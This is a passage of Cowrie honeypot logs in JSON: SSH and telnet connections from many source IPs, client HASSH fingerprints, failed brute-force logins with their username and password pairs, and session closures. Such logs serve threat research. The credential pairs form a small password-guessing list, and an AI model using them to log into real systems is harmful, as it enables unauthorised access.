man-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:01.831040Z","src_ip":"157.230.18.133","session":"02000cd68918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kassa","password":"kassa","message":"login attempt [kassa/kassa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:02.201775Z","src_ip":"157.230.18.133","session":"02000cd68918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:03.288935Z","src_ip":"157.230.18.133","session":"02000cd68918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40816,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ba25c9d3ed","protocol":"telnet","message":"New connection: 94.23.66.112:40816 (10.17.0.5:23) [session: 20ba25c9d3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:04.011948Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57920,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61b3e902b78","protocol":"ssh","message":"New connection: 91.92.40.4:57920 (10.17.0.5:22) [session: f61b3e902b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:19.579041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:19.601982Z","src_ip":"91.92.40.4","session":"f61b3e902b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:19.685169Z","src_ip":"91.92.40.4","session":"f61b3e902b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:20.401647Z","src_ip":"91.92.40.4","session":"f61b3e902b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:21.795759Z","src_ip":"91.92.40.4","session":"f61b3e902b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42284,"dst_ip":"159.203.135.109","dst_port":23,"session":"26685ddcee65","protocol":"telnet","message":"New connection: 170.64.224.25:42284 (159.203.135.109:23) [session: 26685ddcee65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:29.073105Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":50170,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4f95452f693","protocol":"ssh","message":"New connection: 195.86.192.66:50170 (10.17.0.5:22) [session: d4f95452f693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:33.615802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:33.619314Z","src_ip":"195.86.192.66","session":"d4f95452f693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:33.896165Z","src_ip":"195.86.192.66","session":"d4f95452f693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwASZX","message":"login attempt [root/12qwASZX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:34.780450Z","src_ip":"195.86.192.66","session":"d4f95452f693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:36.006838Z","src_ip":"195.86.192.66","session":"d4f95452f693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":52542,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9a0b4d05b9","protocol":"ssh","message":"New connection: 175.118.127.138:52542 (159.203.135.109:22) [session: ba9a0b4d05b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:40.658064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:40.662323Z","src_ip":"175.118.127.138","session":"ba9a0b4d05b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38846,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea6c3db0495","protocol":"telnet","message":"New connection: 170.64.224.25:38846 (159.203.135.109:23) [session: aea6c3db0495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:40.731257Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:40.841446Z","src_ip":"175.118.127.138","session":"ba9a0b4d05b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Centos2026","message":"login attempt [root/Centos2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:41.593270Z","src_ip":"175.118.127.138","session":"ba9a0b4d05b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:42.775214Z","src_ip":"175.118.127.138","session":"ba9a0b4d05b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":43070,"dst_ip":"10.17.0.5","dst_port":22,"session":"6019db72ee66","protocol":"ssh","message":"New connection: 101.32.145.199:43070 (10.17.0.5:22) [session: 6019db72ee66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:51.749053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:51.756124Z","src_ip":"101.32.145.199","session":"6019db72ee66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:52.007524Z","src_ip":"101.32.145.199","session":"6019db72ee66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456wB","message":"login attempt [root/123456wB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:53.032973Z","src_ip":"101.32.145.199","session":"6019db72ee66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:54.287846Z","src_ip":"101.32.145.199","session":"6019db72ee66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":43736,"dst_ip":"10.17.0.5","dst_port":22,"session":"6404e54f6f0e","protocol":"ssh","message":"New connection: 213.202.230.81:43736 (10.17.0.5:22) [session: 6404e54f6f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:03.201439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:03.204629Z","src_ip":"213.202.230.81","session":"6404e54f6f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:03.300331Z","src_ip":"213.202.230.81","session":"6404e54f6f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambers","password":"ambers123","message":"login attempt [ambers/ambers123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:03.578084Z","src_ip":"213.202.230.81","session":"6404e54f6f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:04.671919Z","src_ip":"213.202.230.81","session":"6404e54f6f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57650,"dst_ip":"159.203.135.109","dst_port":23,"session":"6895353a6a95","protocol":"telnet","message":"New connection: 137.184.5.188:57650 (159.203.135.109:23) [session: 6895353a6a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:06.279991Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":46894,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a6bf5801372","protocol":"ssh","message":"New connection: 103.77.175.15:46894 (159.203.135.109:22) [session: 0a6bf5801372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:07.704875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:07.714210Z","src_ip":"103.77.175.15","session":"0a6bf5801372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:07.955567Z","src_ip":"103.77.175.15","session":"0a6bf5801372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"schokk","message":"login attempt [root/schokk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:08.669403Z","src_ip":"103.77.175.15","session":"0a6bf5801372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:09.907718Z","src_ip":"103.77.175.15","session":"0a6bf5801372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":42164,"dst_ip":"10.17.0.5","dst_port":22,"session":"b250ca170d73","protocol":"ssh","message":"New connection: 222.108.100.117:42164 (10.17.0.5:22) [session: b250ca170d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:21.406667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:21.411503Z","src_ip":"222.108.100.117","session":"b250ca170d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:21.625046Z","src_ip":"222.108.100.117","session":"b250ca170d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd777","message":"login attempt [root/P@ssw0rd777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:22.515791Z","src_ip":"222.108.100.117","session":"b250ca170d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:23.731821Z","src_ip":"222.108.100.117","session":"b250ca170d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.21022653579712,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:25.283209Z","src_ip":"170.64.224.25","session":"26685ddcee65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":32824,"dst_ip":"159.203.135.109","dst_port":22,"session":"450a23e5d92d","protocol":"ssh","message":"New connection: 157.230.18.133:32824 (159.203.135.109:22) [session: 450a23e5d92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:26.837875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:26.841909Z","src_ip":"157.230.18.133","session":"450a23e5d92d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecds